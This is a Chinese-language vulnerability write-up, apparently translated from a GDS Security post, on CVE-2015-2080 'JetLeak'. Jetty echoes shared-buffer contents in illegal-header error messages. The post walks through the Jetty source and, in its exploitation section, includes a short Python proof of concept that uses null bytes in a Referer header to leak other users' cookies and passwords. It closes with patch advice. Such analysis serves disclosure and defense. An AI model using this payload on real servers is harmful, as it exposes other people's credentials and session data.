[CVE-2015-2080] Jetty web server 遠端共享緩衝區洩漏
0x00 簡介
一家叫GDS的網站很醜的安全公司近日發現了一個 jetty web server的安全漏洞,允許攻擊者遠端讀取其他使用者之前的請求資訊,下一句話的意思是好好學習我就不翻譯了。
簡單來說,如果你執行著存在漏洞的jetty版本,那麼你的密碼,請求頭,cookie,anti-csrf令牌,token等等一系列的東西遭到駭客竊取。比如post請求中包含的資訊。
GDS還發現一個重要的事情就是,此資料洩漏漏洞本身並不侷限於request請求,還可以應用在response上,為了方便,這裡只簡單演示下攻擊request。
漏洞的根本原因在於,當提交非法的headers給伺服器時會觸發異常處理程式碼,其返回一個約16位元組的共享緩衝區資料。so,攻擊者可以透過精心構造headers值來觸發異常並偏移到共享緩衝區,其中包含了之前其他使用者提交的請求,伺服器會根據攻擊者的payload返回特定位置的資料。
0x01 相關資訊
漏洞影響的版本至 9.2.3之後的大多數版本。
gds寫了一個簡單的python指令碼用於測試是否存在該漏洞,讀者可以從github上下載該指令碼。
https://github.com/GDSSecurity/Jetleak-Testing-Script
0x02 漏洞原因
這一小節我們會集中在伺服器如何解析request。
當jetty接受到一個http請求,下面的程式碼會用於解析request中的header值,伺服器會迴圈檢查所有的字元,以下是檢查事項。
1164行 伺服器檢查是否是無效的ascii字元
1172行 檢查字元是否是為一個空格or tab。
1175行 是否是換行字元
1186行 如果字元中存在非法的ascii字元(比如小於0x20)那麼程式碼就會丟擲一個IllegalCharacter異常,並且傳入異常字串和共享緩衝區。
File: jetty-http\src\main\java\org\eclipse\jetty\http\HttpParser.java
#!java
920: protected boolean parseHeaders(ByteBuffer buffer)
921: {
[..snip..]
1163: case HEADER_VALUE:
1164: if (ch>HttpTokens.SPACE || ch<0)
1165: {
1166: _string.append((char)(0xff&ch));
1167: _length=_string.length();
1168: setState(State.HEADER_IN_VALUE);
1169: break;
1170: }
1171:
1172: if (ch==HttpTokens.SPACE || ch==HttpTokens.TAB)
1173: break;
1174:
1175: if (ch==HttpTokens.LINE_FEED)
1176: {
1177: if (_length > 0)
1178: {
1179: _value=null;
1180: _valueString=(_valueString==null)?
takeString():(_valueString+” “+
takeString());
1181: }
1182: setState(State.HEADER);
1183: break;
1184: }
1185:
1186: throw new IllegalCharacter(ch,buffer);
接著屌絲們跟蹤程式碼到IllegalCharacter的實現,伺服器用string.format方法返回一個非法字元的錯誤訊息,問題出在最後程式碼透過呼叫BufferUtil.toDebugString來輸出共享記憶體的內容。
File: jetty-http\src\main\java\org\eclipse\jetty\http\HttpParser.java
#!java
1714: private class IllegalCharacter extends BadMessage
1715: {
1716: IllegalCharacter(byte ch,ByteBuffer buffer)
1717: {
1718: super(String.format(“Illegal character 0x%x
in state=%s in '%s’”,ch,_state,
BufferUtil.toDebugString(buffer)));
1719: }
1720: }
接著到toDebugString方法,總的來說就是調研了appendDebugString將StringBuider作為第一個引數,緩衝區作為第二個引數,StringBuider的內容最終由appendDebugString進行填充並且返回給使用者。
File: jetty-util\src\main\java\org\eclipse\jetty\util\BufferUtil.java
#!java
963: public static String toDebugString(ByteBuffer buffer)
964: {
965: if (buffer == null)
966: return “null”;
967: StringBuilder buf = new StringBuilder();
968: appendDebugString(buf,buffer);
969: return buf.toString();
970: }
額,我們前面說道,共享記憶體包含之前的request資料,為了讓駭客能夠獲取指定的資料,那麼我們就需要建立一個足夠長的非法字串去不斷覆蓋不重要的資料直到伺服器返回我們想要的資料。我們可以看到,在程式碼996行,在進行append之前,攻擊者已經透過非法header偏移到之前的請求,那麼此時返回的16位元組應該會包含我們想要的資料。
File: jetty-util\src\main\java\org\eclipse\jetty\util\BufferUtil.java
#!java
972: private static void appendDebugString(StringBuilder buf,ByteBuffer buffer)
973: {
[..snip..]
983: buf.append(“<<<”);
984: for (int i = buffer.position(); i < buffer.limit(); i++)
985: {
986: appendContentChar(buf,buffer.get(i));
987: if (i == buffer.position() + 16 &&
buffer.limit() > buffer.position() + 32)
988: {
989: buf.append(“…”);
990: i = buffer.limit() - 16;
991: }
992: }
993: buf.append(“>>>”);
994: int limit = buffer.limit();
995: buffer.limit(buffer.capacity());
996: for (int i = limit; i < buffer.capacity(); i++)
997: {
998: appendContentChar(buf,buffer.get(i));
999: if (i == limit + 16 &&
buffer.capacity() > limit + 32)
1000: {
1001: buf.append(“…”);
1002: i = buffer.capacity() - 16;
1003: }
1004: }
1005: buffer.limit(limit);
1006: }
簡單來說這次的漏洞主要問題出在對於非法字元的異常觸發上,就是IllegalCharacter,筆者羅列了呼叫了IllegalCharacter的檔案。
\jetty.project-jetty-9.2.x\jetty-http\src\main\java\org\eclipse\jetty\http\HttpParser.java:401
\jetty.project-jetty-9.2.x\jetty-http\src\main\java\org\eclipse\jetty\http\HttpParser.java:530
\jetty.project-jetty-9.2.x\jetty-http\src\main\java\org\eclipse\jetty\http\HttpParser.java:547
\jetty.project-jetty-9.2.x\jetty-http\src\main\java\org\eclipse\jetty\http\HttpParser.java:1161
\jetty.project-jetty-9.2.x\jetty-http\src\main\java\org\eclipse\jetty\http\HttpParser.java:1215
下面一個小節進行了一次簡單的攻擊。
0x03 漏洞利用
Step 1:
jetty版本 version 9.2.7.v20150116
注意下面的請求,我們假設一個受害人傳送了這玩意,請注意cookie和post,我們將透過攻擊jetty獲取下列的值。
Reproduction Request (VICTIM):
POST /test-spec/test HTTP/1.1
Host: 192.168.56.101:8080
User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64; rv:35.0) Gecko/20100101
Cookie: password=secret
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.101:8080/test-spec/
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
param1=test
Reproduction Response (VICTIM):
HTTP/1.1 200 OK
Set-Cookie: visited=yes
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html
Server: Jetty(9.2.7.v20150116)
Content-Length: 3460
Step 2:
之後,攻擊者用一個簡單的python指令碼,在header中插入44個空位元組,這回導致異常的觸發,需要注意的是,搞清楚多少個位元組才能覆蓋到敏感資料是一個反覆的過程,建議先透過較小的字串,不斷加大,如果一開始選擇較大的字串可能會覆蓋一些敏感資料。
#!python
import httplib, urllib
conn = httplib.HTTPConnection("127.0.0.1:8080")
headers = {"Referer": chr(0)*44}
conn.request("POST", "/test-spec/test", "", headers)
r1 = conn.getresponse()
print r1.status, r1.reason
Step 3:
一旦執行上面的python指令碼,那麼攻擊者就會收到如圖中所示的錯誤資訊,請注意其中包含的cookie和密碼,如果你想要大於16個位元組的資料,那麼修改下長度多跑幾次就好了。
0x04 結語和修復建議
如果你不幸執行著存在漏洞版本的jetty,那麼官方的建議是立即更新到version 9.2.9.v20150224。 這裡有一份jetty的客戶名單,我就不說我看到阿里了。
http://eclipse.org/jetty/powered/
如果需要進行版本更新可以透過以下地址
Maven - http://central.maven.org/
Jetty Downloads Page - http://download.eclipse.org/jetty
這裡是原文:http://blog.gdssecurity.com/labs/2015/2/25/jetleak-vulnerability-remote-leakage-of-shared-buffers-in-je.html
我省略了修復建議中的一些細節還有漏洞披露的時間表,具體可以參考原文。
相關文章
- 緩衝區分析2017-01-16
- MikroTik RouterOS 中發現了可遠端利用的緩衝區溢位漏洞2018-03-21ROS
- C 標準庫IO緩衝區和核心緩衝區的區別2018-02-26
- Java NIO:緩衝區2020-10-05Java
- getchar緩衝區2016-07-18
- Java NIO 之緩衝區2021-09-09Java
- Unity深度緩衝區指令2021-01-05Unity
- Java整數緩衝區2020-12-23Java
- nginx 緩衝區構造2013-04-07Nginx
- stdio流緩衝區2024-10-02
- 記一次非同步處理導致Jetty Request物件洩漏2022-01-14非同步Jetty物件
- Node.js Buffer(緩衝區)2019-02-27Node.js
- PHP的輸出緩衝區2019-02-16PHP
- JavaScript WebGL 幀緩衝區物件2022-02-01JavaScriptWeb物件
- Linux 命令 管道 緩衝區2018-11-08Linux
- log buffer(日誌緩衝區)2017-03-28
- Java NIO 之 Buffer(緩衝區)2018-05-14Java
- Java NIO2:緩衝區2015-12-27Java
- 動態更新——緩衝區物件2016-05-19物件
- 緩衝區溢位實驗2024-10-30
- 緩衝區溢位小程式分析2020-02-02
- PHP 輸出緩衝區應用2018-08-24PHP
- Java-NIO之Buffer(緩衝區)2022-03-31Java
- Redis效能篇(五)Redis緩衝區2021-01-14Redis
- 8、Node.js Buffer(緩衝區)2018-06-03Node.js
- node.js中緩衝區–Buffer2016-08-29Node.js
- C語言緩衝區問題2017-03-20C語言
- WebGIS 8-1 緩衝區分析2016-07-28Web
- cuug 資料緩衝區調優2014-01-09
- Buffer Cache Size(資料緩衝區)2012-02-06
- 配置SQL server遠端連線(區域網)2020-04-04SQLServer
- 調節Oracle資料緩衝區引數,緩衝整個資料庫(轉)2007-08-14Oracle資料庫
- Jetty的server模組2024-03-10JettyServer
- MySQL中讀頁緩衝區buffer pool2022-05-28MySql
- 《Lua-in-ConTeXt》10:緩衝區魔法2023-02-10Context
- Java NIO 緩衝區學習筆記2016-08-01Java筆記
- 緩衝區的個人理解!(終結版)2016-07-10
- RMAN的IO記憶體緩衝區2011-06-23記憶體